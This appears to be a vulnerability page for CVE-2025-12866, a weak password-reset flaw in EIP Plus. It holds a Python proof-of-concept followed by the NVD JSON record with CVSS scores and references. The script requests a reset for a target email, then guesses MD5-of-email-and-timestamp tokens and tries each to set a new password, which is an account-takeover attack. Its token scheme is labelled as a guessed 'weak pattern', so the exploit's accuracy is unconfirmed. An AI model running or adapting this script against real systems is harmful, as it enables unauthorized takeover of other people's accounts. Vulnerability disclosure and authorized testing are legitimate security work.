CVE-2025-12866

#!/usr/bin/env python3 """ CVE-2025-12866 PoC - EIP Plus Weak Password Recovery Mechanism This PoC demonstrates the weak password recovery mechanism vulnerability. Note: This is for authorized security testing only. """ import requests import hashlib import time from datetime import datetime TARGET_URL = "https://target-eip-plus.example.com" TARGET_EMAIL = "[email protected]" def generate_predictable_token(user_email, timestamp): """ Generate potentially predictable token based on common weak patterns """ return hashlib.md5(f"{user_email}{timestamp}".encode()).hexdigest() def exploit_password_reset(): """ Exploit weak password reset mechanism """ print(f"[*] Targeting: {TARGET_EMAIL}") print(f"[*] Initiating password reset request...") # Step 1: Request password reset reset_endpoint = f"{TARGET_URL}/api/password/forgot" data = {"email": TARGET_EMAIL} try: response = requests.post(reset_endpoint, json=data, timeout=10) print(f"[*] Password reset requested, status: {response.status_code}") # Step 2: Try to predict/brute-force the token print(f"[*] Attempting to predict reset token...") for i in range(1000): timestamp = int(time.time()) - i predicted_token = generate_predictable_token(TARGET_EMAIL, timestamp) # Step 3: Try the predicted token verify_endpoint = f"{TARGET_URL}/api/password/reset" reset_data = { "token": predicted_token, "new_password": "P@ssw0rd123!" } verify_response = requests.post(verify_endpoint, json=reset_data, timeout=10) if verify_response.status_code == 200 and "success" in verify_response.text.lower(): print(f"[!] VULNERABLE! Password reset successful with token: {predicted_token}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-12866 - EIP Plus Weak Password Recovery Mechanism") print("=" * 60) exploit_password_reset()

{"cve": {"id": "CVE-2025-12866", "sourceIdentifier": "[email protected]", "published": "2025-11-10T03:15:42.467", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "EIP Plus developed by Hundred Plus has a Weak Password Recovery Mechanism vulnerability, allowing unauthenticated remote attacker to predict or brute-force the 'forgot password' link, thereby successfully resetting any user's password."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-640"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10491-004b0-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10490-2534b-1.html", "source": "[email protected]"}, {"url": "https://www.chtsecurity.com/news/20848f61-9db5-44fd-8574-c9d6a54e4010", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}